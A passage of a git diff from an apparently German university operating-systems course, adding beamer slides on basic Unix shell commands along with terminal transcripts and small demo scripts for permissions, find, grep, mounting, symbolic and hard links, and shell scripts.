\item + Arbeitsverzeichnis anzeigen: \lstinline[style=cmd]{pwd}\\ + \item + Arbeitsverzeichnis wechseln: \lstinline[style=cmd]{cd script}\\ + (\emph{kein\/} Programm, sondern Shell-Befehl) + \item + übergeordnetes Verzeichnis: \lstinline[style=cmd]{cd ..} + \item + eigenes \newterm{Home-\/}Verzeichnis: \lstinline[style=cmd]{cd} + \item + Wurzelverzeichnis: \lstinline[style=cmd]{cd /} + \item + wieder zurück: \lstinline[style=cmd]{cd -} + \end{itemize} + + \pause + \begin{lstlisting}[style=terminal] + cassini/home/peter/bo/2013ss/net/script> ¡cd /usr/bin¿ + cassini/usr/bin> ¡cd ../lib¿ + cassini/usr/lib> ¡cd¿ + cassini/home/peter> + \end{lstlisting} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + \item + Dateien kopieren (\emph{copy\/}): \lstinline[style=cmd]{cp} + \item + Dateien verschieben/umbenennen (\emph{move\/}): \lstinline[style=cmd]{mv} + \item + Dateien löschen (\emph{remove\/}): \lstinline[style=cmd]{rm} + \end{itemize} + + \begin{lstlisting}[style=terminal,xleftmargin=-3pt] + cassini/home/peter> ¡cp -p foo/test.txt¿ + cp: missing destination file operand after `foo/test.txt' + Try `cp --help' for more information. + cassini/home/peter> ¡cp -p foo/test.txt .¿ + cassini/home/peter> ¡mv test.txt bla.txt¿ + cassini/home/peter> ¡cat bla.txt¿ + Dies ist ein Test. + cassini/home/peter> ¡rm bla.txt¿ + cassini/home/peter> + \end{lstlisting} + + \medskip + + Aktuelles Verzeichnis: \lstinline[style=cmd]{.} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + \item + \lstinline[style=cmd]{grep}: Dateien durchsuchen + \end{itemize} + \begin{lstlisting}[style=terminal,xleftmargin=-3pt] + cassini/.../ainf/20131031.0> ¡grep printf *.c¿ + philosophy.c: printf ("The answer is %d.\n", answer ()); + \end{lstlisting} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + \item + Datenträger in Verzeichnis \newterm{einhängen\/}: \lstinline[style=cmd]{mount} + \end{itemize} + + \begin{lstlisting}[style=terminal] + cassini/home/peter> ¡ls /media/sd-card/¿ + cassini/home/peter> ¡mount /media/sd-card¿ + cassini/home/peter> ¡ls /media/sd-card/¿ + DCIM NIKON001.DSC + cassini/home/peter> ¡umount /media/sd-card¿ + cassini/home/peter> ¡ls /media/sd-card/¿ + cassini/home/peter> + \end{lstlisting} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + \item + \newterm{Zugriffsrechte} + \end{itemize} + + \begingroup + \small + \begin{lstlisting}[style=terminal,gobble=6,xleftmargin=-3pt] + phoenix/home/peter/bo/2013ws/ainf/20131031.0> ¡ls -l¿ + ... + -rw-r--r-- 1 peter peter 1539 Nov 29 2012 pruzzel-1.c + \end{lstlisting} + \endgroup + \begin{onlyenv}<2> + \begin{picture}(0,1) + \color{red} + \put(0.3,0){\vector(0,1){1.0}} + \put(0.3,0){\vector(2,1){2.1}} + \put(0,-0.1){\makebox(0,0)[tl]{Benutzer (u -- \emph{user\/}) darf lesen und schreiben}} + \end{picture} + \end{onlyenv} + \begin{onlyenv}<3> + \begin{picture}(0,1) + \color{red} + \put(0.77,0){\vector(0,1){1.0}} + \put(0.77,0){\vector(3,1){3.1}} + \put(0,-0.1){\makebox(0,0)[tl]{Gruppe (g -- \emph{group\/}) darf lesen}} + \end{picture} + \end{onlyenv} + \begin{onlyenv}<4> + \begin{picture}(0,1) + \color{red} + \put(1.37,0){\vector(0,1){1.0}} + \put(0,-0.1){\makebox(0,0)[tl]{alle anderen (o -- \emph{other\/}) dürfen lesen}} + \end{picture} + \end{onlyenv} + + \medskip + \pause[5] + \begin{itemize} + \item + Zugriffsrechte ändern:\\ + \lstinline[style=cmd]{chmod o-r pruzzel-1.c} -- Lesezugriff entziehen\\ + \lstinline[style=cmd]{chmod g+w pruzzel-1.c} -- Schreibzugriff gewähren\\ + \lstinline[style=cmd]{chmod 640 pruzzel-1.c} -- auf \lstinline[style=terminal]{-rw-r-----} setzen + \end{itemize} + \pause + \begin{picture}(0,0) + \color{red} + \put(6.275,0.5){\makebox(0,0)[tl]{% + \begin{math}% + \underbrace{\rule{0.7em}{0pt}}_{\textstyle 6}% + \underbrace{\rule{0.7em}{0pt}}_{\textstyle 4}% + \underbrace{\rule{0.7em}{0pt}}_{\textstyle 0} + \end{math}}} + \end{picture} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + \item + \newterm{ausführbare\/} Dateien + \end{itemize} + + \begingroup + \small + \begin{lstlisting}[style=terminal,gobble=6,xleftmargin=-3pt] + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡cat test¿ + ls -l systech-20131008.* + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡chmod +x test¿ + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡ls -l test¿ + -rwxr-xr-x 1 peter peter 25 Okt 6 16:45 test + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡./test¿ + -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux + ... + \end{lstlisting} + \endgroup + + \pause + \begin{itemize} + \item + ausführbare Textdateien: \newterm{Skripte} + + \pause + \smallskip + hier: ausführbare Textdatei mit Shell-Befehlen\\ + (ohne spezielle Kennung): Shell-Skript + + \pause + \smallskip + Kennung: 1.\ Zeile enthält \lstinline[style=terminal]{#!} und den Interpreter,\\ + z.\,B.\ \lstinline[style=terminal]{#!/bin/bash}\\ + \end{itemize} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + \item + \newterm{Symbolische Verknüpfungen -- symbolic links} + + \smallskip + + Verweis auf die eigentliche Datei\\ + \textarrow\ Wenn man die Datei löscht, zeigt der Link ins Leere. + + \smallskip + + Verknüpfung anlegen: \lstinline[style=cmd]{ln -s datei link}\\ + (Richtung: wie bei \lstinline[style=cmd]{cp}) + + \smallskip + + Beispiel: \lstinline[style=cmd]{ln -s opengel-magic-double.c opengl-magic.c} + \medskip + \item + \newterm{Harte Verknüpfungen -- hard links} + + \smallskip + + Dieselben Daten auf dem Datenträger\\ + sind unter mehreren Namen verfügbar.\\ + \textarrow\ Wenn man einen löscht, sind die Daten noch da. + + \smallskip + + (aus Anwendersicht eher selten, daher hier nicht ausführlich) + \end{itemize} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + \item + \lstinline[style=cmd]{find}: Dateien anhand ihrer Eigenschaften suchen + \end{itemize} + + \small + \begin{lstlisting}[style=terminal,xleftmargin=-7pt] + $ ¡find . -name "*orbit-x*"¿ + ./20131031.0/orbit-x.c + ./20131031.0/orbit-x1.c + ./20131031.0/orbit-x + ./20131107.0/orbit-x.c + ./20131107.0/orbit-x1.c + ./20131107.0/orbit-x + $ ¡find . -name "*orbit-x*" -perm /u+x¿ + ./20131031.0/orbit-x + ./20131107.0/orbit-x + $ ¡find . -name "*orbit-x*" -perm /u+x -exec ls -l {} \;¿ + -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131031.0/orbit-x + -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131107.0/orbit-x + \end{lstlisting} + +\end{frame} + +\subsectionnonumber{U.4\quad Ein- und Ausgabeströme} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + \item + Standard-Ausgabe in Datei umleiten + \end{itemize} + \begin{lstlisting}[style=terminal] + $ ¡echo "Dies ist ein Test." > test.txt¿ + $ ¡cat test.txt¿ + Dies ist ein Test. + \end{lstlisting} + + \pause + \smallskip + + \begin{itemize} + \item + Standard-Ausgabe an Datei anhängen + \end{itemize} + \begin{lstlisting}[style=terminal] + $ ¡echo "Dies ist noch ein Test." >> test.txt¿ + $ ¡cat test.txt¿ + Dies ist ein Test. + Dies ist noch ein Test. + \end{lstlisting} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + \item + Fehler-Ausgabe in Datei umleiten + \end{itemize} + \begin{lstlisting}[style=terminal] + $ ¡cat gibtsnicht.txt > fehler.txt¿ + cat: gibtsnicht.txt: No such file or directory + $ ¡cat fehler.txt¿ + $ ¡cat gibtsnicht.txt 2> fehler.txt¿ + $ ¡cat fehler.txt¿ + cat: gibtsnicht.txt: No such file or directory + \end{lstlisting} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + \item + Standard-Eingabe aus Datei lesen + \end{itemize} + \begin{lstlisting}[style=terminal] + $ ¡bc¿ + bc 1.06.95 + Copyright [...] 2006 Free Software Foundation, Inc. + This is free software with ABSOLUTELY NO WARRANTY. + For details type `warranty'. + ¡2 + 2¿ + 4 + $ ¡echo "2 + 2" > test.bc¿ + $ ¡bc < test.bc¿ + 4 + \end{lstlisting} + +\end{frame} + +\subsectionnonumber{U.5\quad Pipes} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + Standard-Ausgabe von Programm A\\ + wird zu Standard-Eingabe von Programm B + + \smallskip + + \begin{lstlisting}[style=terminal] + $ ¡echo "2 + 2" | bc¿ + 4 + \end{lstlisting} + + \smallskip + + \textarrow\ sehr mächtiger "`Baukasten"' + +\end{frame} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + \item + \lstinline[style=cmd]{sed}: \emph{stream editor}\\ + Suchen und Ersetzen (und noch viel mehr) + \end{itemize} + \begin{lstlisting}[style=terminal] + $ ¡echo "Schlimmer geht nimmer." | sed -e 's/nim/im/g'¿ + Schlimmer geht immer. + \end{lstlisting} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{itemize} + \item + \lstinline[style=cmd]{grep}: Standard-Eingabe durchsuchen + \end{itemize} + \begin{lstlisting}[style=terminal] + $ ¡ls | grep slides¿ + pgslides.sty + $ ¡ls *.pdf | grep -v fig¿ + logo-hochschule-bochum-cvh-text.pdf + logo-hochschule-bochum.pdf + NPN_transistor_basic_operation.pdf + rtech-20131002.pdf + $ ¡ls -l $(ls *.pdf | grep -v fig)¿ + -rw-r--r-- 1 peter peter 14488 Sep 2 21:02 logo-hochschule-bochum-cvh-text.pdf + -rw-r--r-- 1 peter peter 31581 Dez 26 2011 logo-hochschule-bochum.pdf + -rw-r--r-- 1 peter peter 8538 Okt 2 2012 NPN_transistor_basic_operation.pdf + -rw-r--r-- 1 peter peter 6753149 Okt 1 22:59 rtech-20131002.pdf + \end{lstlisting} + +\end{frame} + +\subsectionnonumber{U.6\quad Verzweigungen und Schleifen} + +\begin{frame}[fragile] + + \showsubsectionnonumber + + \begin{lstlisting}[style=terminal] + $ ¡if grep Pipes test.txt; then echo "gefunden"; \ + else echo "nicht gefunden"; fi¿ + nicht gefunden + $ ¡for x in foo bar baz; do echo $x; done¿ + foo + bar + baz + \end{lstlisting} + +\end{frame} + +\end{document} diff --git a/20220314/yesvnc-wc-6.html b/20210409/yesvnc-wc-6.html similarity index 100% rename from 20220314/yesvnc-wc-6.html rename to 20210409/yesvnc-wc-6.html diff --git a/20210416/.test.txt b/20210416/.test.txt new file mode 100644 index 0000000000000000000000000000000000000000..dd38ed5746e36cb495b0589c1aad5b9965213322 --- /dev/null +++ b/20210416/.test.txt @@ -0,0 +1 @@ +Punkt-Test diff --git a/20210416/bs-20210416.pdf b/20210416/bs-20210416.pdf new file mode 120000 index 0000000000000000000000000000000000000000..8c56acec4932b053b63529036c18b1dbb3135e59 --- /dev/null +++ b/20210416/bs-20210416.pdf @@ -0,0 +1 @@ +../20210409/bs-20210409.pdf \ No newline at end of file diff --git a/20210416/bs-20210416.tex b/20210416/bs-20210416.tex new file mode 120000 index 0000000000000000000000000000000000000000..6b57f34c4e5e75807c4053795b915792fa52d043 --- /dev/null +++ b/20210416/bs-20210416.tex @@ -0,0 +1 @@ +../20210409/bs-20210409.tex \ No newline at end of file diff --git a/20210416/calculate b/20210416/calculate new file mode 100755 index 0000000000000000000000000000000000000000..6c1b049e082bb2e273ce8564aa1855a4e3d22a1e --- /dev/null +++ b/20210416/calculate @@ -0,0 +1,5 @@ +#!/usr/bin/bc -q + +2 ^ 50 / 10 / 1000 / 1000 / 1000000 + +quit diff --git a/20210416/cd.. b/20210416/cd.. new file mode 100644 index 0000000000000000000000000000000000000000..a78009bddcd58844651bae68a847faa7a88b16ff --- /dev/null +++ b/20210416/cd.. @@ -0,0 +1,3 @@ +#pwd +cd .. +#pwd diff --git a/20210416/chmod-1.txt b/20210416/chmod-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..82cb694b3f2d06ea812ad0fb38c3bf7006320138 --- /dev/null +++ b/20210416/chmod-1.txt @@ -0,0 +1,11 @@ +-rwxr-xr-x 1 peter peter 16 Apr 16 14:20 cd.. +cassini/home/peter/bo/2021ss/bs/20210416> chmod 750 cd.. +cassini/home/peter/bo/2021ss/bs/20210416> ls -l cd.. +-rwxr-x--- 1 peter peter 16 Apr 16 14:20 cd.. +cassini/home/peter/bo/2021ss/bs/20210416> chmod 644 cd.. +cassini/home/peter/bo/2021ss/bs/20210416> ls -l cd.. +-rw-r--r-- 1 peter peter 16 Apr 16 14:20 cd.. +cassini/home/peter/bo/2021ss/bs/20210416> chmod 660 cd.. +cassini/home/peter/bo/2021ss/bs/20210416> ls -l cd.. +-rw-rw---- 1 peter peter 16 Apr 16 14:20 cd.. +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/find-1.txt b/20210416/find-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..d25cf3ecb6f4e00db781582781fb1bde4c8e0337 --- /dev/null +++ b/20210416/find-1.txt @@ -0,0 +1,25 @@ +cassini/home/peter/bo/2021ss/bs/20210416> find . -name "*.txt" +./shell-scripts-4.txt +./shell-scripts-2.txt +./test-3.txt +./shell-scripts-3.txt +./symlinks-3.txt +./wildcards-1.txt +./wildcards-3.txt +./shell-scripts-5.txt +./shell-scripts-6.txt +./hardlinks-1.txt +./.test.txt +./test/hello.txt +./chmod-1.txt +./wildcards-2.txt +./hardlinks-2.txt +./shell-scripts-1.txt +./symlinks-4.txt +./mount-1.txt +./test-1.txt +./grep-3.txt +./grep-1.txt +./symlinks-1.txt +./symlinks-2.txt +./grep-2.txt diff --git a/20210416/find-2.txt b/20210416/find-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..d7ada2377c15702784a99f4441e28d2f6f180a91 --- /dev/null +++ b/20210416/find-2.txt @@ -0,0 +1,3 @@ +cassini/home/peter/bo/2021ss/bs/20210416> find . -name *.txt +find: paths must precede expression: `find-1.txt' +find: possible unquoted pattern after predicate `-name'? diff --git a/20210416/find-3.txt b/20210416/find-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..0f7d97e84cc857573d34ca0ce3ab56009ae806a9 --- /dev/null +++ b/20210416/find-3.txt @@ -0,0 +1,3 @@ +cassini/home/peter/bo/2021ss/bs/20210416> echo find . -name *.txt +find . -name chmod-1.txt find-1.txt find-2.txt grep-1.txt grep-2.txt grep-3.txt hardlinks-1.txt hardlinks-2.txt mount-1.txt shell-scripts-1.txt shell-scripts-2.txt shell-scripts-3.txt shell-scripts-4.txt shell-scripts-5.txt shell-scripts-6.txt symlinks-1.txt symlinks-2.txt symlinks-3.txt symlinks-4.txt test-1.txt test-3.txt wildcards-1.txt wildcards-2.txt wildcards-3.txt +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/find-4.txt b/20210416/find-4.txt new file mode 100644 index 0000000000000000000000000000000000000000..a37fc2419524f4210312f004311a4e408249f50a --- /dev/null +++ b/20210416/find-4.txt @@ -0,0 +1,30 @@ +cassini/home/peter/bo/2021ss/bs/20210416> find . -name "*".txt +./shell-scripts-4.txt +./shell-scripts-2.txt +./test-3.txt +./shell-scripts-3.txt +./symlinks-3.txt +./wildcards-1.txt +./wildcards-3.txt +./shell-scripts-5.txt +./shell-scripts-6.txt +./hardlinks-1.txt +./.test.txt +./test/hello.txt +./chmod-1.txt +./wildcards-2.txt +./find-1.txt +./hardlinks-2.txt +./shell-scripts-1.txt +./symlinks-4.txt +./mount-1.txt +./test-1.txt +./grep-3.txt +./find-2.txt +./grep-1.txt +./symlinks-1.txt +./find-3.txt +./symlinks-2.txt +./grep-2.txt +cassini/home/peter/bo/2021ss/bs/20210416> echo find . -name "*".txt +find . -name *.txt diff --git a/20210416/grep-1.txt b/20210416/grep-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..22f5ddbcc91d31c3c94e5a56fe1b188b3416a47c --- /dev/null +++ b/20210416/grep-1.txt @@ -0,0 +1,10 @@ +cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *.* +hello.c: printf ("Hello, world!\n"); +unix-20210416.tex: printf ("Hello, world!\n"); +unix-20210416.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello * +hello.c: printf ("Hello, world!\n"); +test/hello.txt:Hello, world! +unix-20210416.tex: printf ("Hello, world!\n"); +unix-20210416.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/grep-2.txt b/20210416/grep-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..289385dce7aed9ba4d32ef1388f5cc7e1b9a2cc5 --- /dev/null +++ b/20210416/grep-2.txt @@ -0,0 +1,30 @@ +cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello .* +./hello.c: printf ("Hello, world!\n"); +./test/hello.txt:Hello, world! +./grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *.* +./grep-1.txt:hello.c: printf ("Hello, world!\n"); +./grep-1.txt:unix-20210416.tex: printf ("Hello, world!\n"); +./grep-1.txt:unix-20210416.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +./grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello * +./grep-1.txt:hello.c: printf ("Hello, world!\n"); +./grep-1.txt:test/hello.txt:Hello, world! +./grep-1.txt:unix-20210416.tex: printf ("Hello, world!\n"); +./grep-1.txt:unix-20210416.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +../20210416/hello.c: printf ("Hello, world!\n"); +../20210416/test/hello.txt:Hello, world! +../20210416/grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello *.* +../20210416/grep-1.txt:hello.c: printf ("Hello, world!\n"); +../20210416/grep-1.txt:unix-20210416.tex: printf ("Hello, world!\n"); +../20210416/grep-1.txt:unix-20210416.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +../20210416/grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210416> grep -r Hello * +../20210416/grep-1.txt:hello.c: printf ("Hello, world!\n"); +../20210416/grep-1.txt:test/hello.txt:Hello, world! +../20210416/grep-1.txt:unix-20210416.tex: printf ("Hello, world!\n"); +../20210416/grep-1.txt:unix-20210416.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +../20210409/unix-20210409.tex: printf ("Hello, world!\n"); +../20210409/unix-20210409.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +../20210409/hello.c: printf ("Hello, world!\n"); +../20210409/shell-variables-2.txt:Hello, world! +../20210409/shell-variables-2.txt:Hello, world! +../20210409/shell-variables-2.txt:Hello, world! +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/grep-3.txt b/20210416/grep-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..ef1b9bcb456ddd649688ab35c9d0205f1e08b7e8 --- /dev/null +++ b/20210416/grep-3.txt @@ -0,0 +1,2 @@ +cassini/home/peter/bo/2021ss/bs/20210416> echo grep -r Hello .* +grep -r Hello . .. .test.txt diff --git a/20210416/hardlinks-1.txt b/20210416/hardlinks-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..8409d2346d3e36524d80858a3c3adfe73638b194 --- /dev/null +++ b/20210416/hardlinks-1.txt @@ -0,0 +1,22 @@ +cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt +-rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-2.txt +lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> ln test-2.txt test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt +-rw-r--r-- 2 peter peter 7 Apr 16 12:30 test-1.txt +-rw-r--r-- 2 peter peter 7 Apr 16 12:30 test-2.txt +lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt +Test 2 +cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt +Test 2 +cassini/home/peter/bo/2021ss/bs/20210416> echo "Test 1" > test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt +Test 1 +cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt +Test 1 +cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt +-rw-r--r-- 2 peter peter 7 Apr 16 14:47 test-1.txt +-rw-r--r-- 2 peter peter 7 Apr 16 14:47 test-2.txt +lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/hardlinks-2.txt b/20210416/hardlinks-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..4234e50e40d8e70d7c4b066619772ee03a030601 --- /dev/null +++ b/20210416/hardlinks-2.txt @@ -0,0 +1,10 @@ +cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt +-rw-r--r-- 2 peter peter 7 Apr 16 14:47 test-1.txt +-rw-r--r-- 2 peter peter 7 Apr 16 14:47 test-2.txt +lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> +cassini/home/peter/bo/2021ss/bs/20210416> rm test-2.txt +cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt +-rw-r--r-- 1 peter peter 7 Apr 16 14:47 test-1.txt +lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/hello b/20210416/hello new file mode 100755 index 0000000000000000000000000000000000000000..9f3f770bfcccad3d62d2e2d08b077469ef3722fa --- /dev/null +++ b/20210416/hello @@ -0,0 +1,3 @@ +#!/bin/bash + +echo "Hello, world!" diff --git a/20210416/hello.c b/20210416/hello.c new file mode 100644 index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac --- /dev/null +++ b/20210416/hello.c @@ -0,0 +1,7 @@ +#include <stdio.h> + +int main (void) +{ + printf ("Hello, world!\n"); + return 0; +} diff --git a/20210416/mount-1.txt b/20210416/mount-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..07569eed45c93309e18b24047b6ede82cc6e572d --- /dev/null +++ b/20210416/mount-1.txt @@ -0,0 +1,21 @@ +cassini/home/peter/bo/2021ss/bs/20210416> ls -lh ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4 +-rw-r--r-- 1 peter peter 155M Mai 20 2019 '/home/peter/Www/Was läuft falsch in der gegenwärtigen Physik-99hVAu1k6G8.mp4' +cassini/home/peter/bo/2021ss/bs/20210416> cp -pi ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4 /media/usb +usb/ usb0/ usb1/ usb2/ usb3/ usb4/ usb5/ usb6/ usb7/ +cassini/home/peter/bo/2021ss/bs/20210416> cp -pi ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4 /media/usb +usb/ usb0/ usb1/ usb2/ usb3/ usb4/ usb5/ usb6/ usb7/ +cassini/home/peter/bo/2021ss/bs/20210416> cp -pi ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4 /media/usb3/ +cassini/home/peter/bo/2021ss/bs/20210416> mount | grep usb +cassini/home/peter/bo/2021ss/bs/20210416> mount /media/usb3/ +cassini/home/peter/bo/2021ss/bs/20210416> ls -l /media/usb3/ +insgesamt 4 +-rwxr-xr-x 1 peter peter 40 Dez 3 10:52 nm.txt +-rwxr-xr-x 1 peter peter 0 Apr 16 12:52 'Was läuft falsch in der gegenwärtigen Physik-99hVAu1k6G8.mp4' +cassini/home/peter/bo/2021ss/bs/20210416> cp -pi ~/Www/Was\ läuft\ falsch\ in\ der\ gegenwärtigen\ Physik-99hVAu1k6G8.mp4 /media/usb3/ +cp: '/media/usb3/Was läuft falsch in der gegenwärtigen Physik-99hVAu1k6G8.mp4' überschreiben? y +cassini/home/peter/bo/2021ss/bs/20210416> umount /media/usb3 +cassini/home/peter/bo/2021ss/bs/20210416> mount /media/usb3 +cassini/home/peter/bo/2021ss/bs/20210416> ls -l /media/usb3/ insgesamt 158284 +-rwxr-xr-x 1 peter peter 40 Dez 3 10:52 nm.txt +-rwxr-xr-x 1 peter peter 162077261 Mai 20 2019 'Was läuft falsch in der gegenwärtigen Physik-99hVAu1k6G8.mp4' +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/shell-scripts-1.txt b/20210416/shell-scripts-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..b979d46e4f71249407571cfb7ab41266ace543cf --- /dev/null +++ b/20210416/shell-scripts-1.txt @@ -0,0 +1,4 @@ +cassini/home/peter/bo/2021ss/bs/20210416> cat cd.. +cd .. +cassini/home/peter/bo/2021ss/bs/20210416> cd.. +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/shell-scripts-2.txt b/20210416/shell-scripts-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..e936daff4c8aa6b6a7b92fea5e799934775a384e --- /dev/null +++ b/20210416/shell-scripts-2.txt @@ -0,0 +1,8 @@ +cassini/home/peter/bo/2021ss/bs/20210416> cat cd.. +pwd +cd .. +pwd +cassini/home/peter/bo/2021ss/bs/20210416> cd.. +/home/peter/bo/2021ss/bs/20210416 +/home/peter/bo/2021ss/bs +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/shell-scripts-3.txt b/20210416/shell-scripts-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..64dede0649d842d112ae1906ad37922195a1e7e2 --- /dev/null +++ b/20210416/shell-scripts-3.txt @@ -0,0 +1,8 @@ +cassini/home/peter/bo/2021ss/bs/20210416> ls -l hello +-rw-r--r-- 1 peter peter 21 Apr 16 14:24 hello +cassini/home/peter/bo/2021ss/bs/20210416> cat hello +echo "Hello, world!" +cassini/home/peter/bo/2021ss/bs/20210416> chmod 755 hello +cassini/home/peter/bo/2021ss/bs/20210416> ./hello +Hello, world! +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/shell-scripts-4.txt b/20210416/shell-scripts-4.txt new file mode 100644 index 0000000000000000000000000000000000000000..25ea052a0d5a80be46b4f74add0e124405818bd7 --- /dev/null +++ b/20210416/shell-scripts-4.txt @@ -0,0 +1,7 @@ +cassini/home/peter/bo/2021ss/bs/20210416> cat hello +#!/bin/bash + +echo "Hello, world!" +cassini/home/peter/bo/2021ss/bs/20210416> ./hello +Hello, world! +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/shell-scripts-5.txt b/20210416/shell-scripts-5.txt new file mode 100644 index 0000000000000000000000000000000000000000..aa400eecbf5755993f45ce1dd6fd2ff2f7ea189a --- /dev/null +++ b/20210416/shell-scripts-5.txt @@ -0,0 +1,14 @@ +cassini/home/peter/bo/2021ss/bs/20210416> cat calculate +#!/usr/bin/bc + +2 ^ 50 / 10 / 1000 / 1000 / 1000000 +cassini/home/peter/bo/2021ss/bs/20210416> ./calculate +bc 1.07.1 +Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006, 2008, 2012-2017 Free Software Foundation, Inc. +This is free software with ABSOLUTELY NO WARRANTY. +For details type `warranty'. +112 +^C +(interrupt) use quit to exit. +quit +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/shell-scripts-6.txt b/20210416/shell-scripts-6.txt new file mode 100644 index 0000000000000000000000000000000000000000..21e310e492618b7214d4250c021ff09d0912f5c1 --- /dev/null +++ b/20210416/shell-scripts-6.txt @@ -0,0 +1,9 @@ +cassini/home/peter/bo/2021ss/bs/20210416> cat calculate +#!/usr/bin/bc -q + +2 ^ 50 / 10 / 1000 / 1000 / 1000000 + +quit +cassini/home/peter/bo/2021ss/bs/20210416> ./calculate +112 +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/symlinks-1.txt b/20210416/symlinks-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..082d37fa47a06228a3255eeaa972542ac7451342 --- /dev/null +++ b/20210416/symlinks-1.txt @@ -0,0 +1,12 @@ +cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt +-rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-1.txt +-rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-2.txt +lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt +Test 1 +cassini/home/peter/bo/2021ss/bs/20210416> cat test-3.txt +Test 1 +cassini/home/peter/bo/2021ss/bs/20210416> rm test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> cat test-3.txt 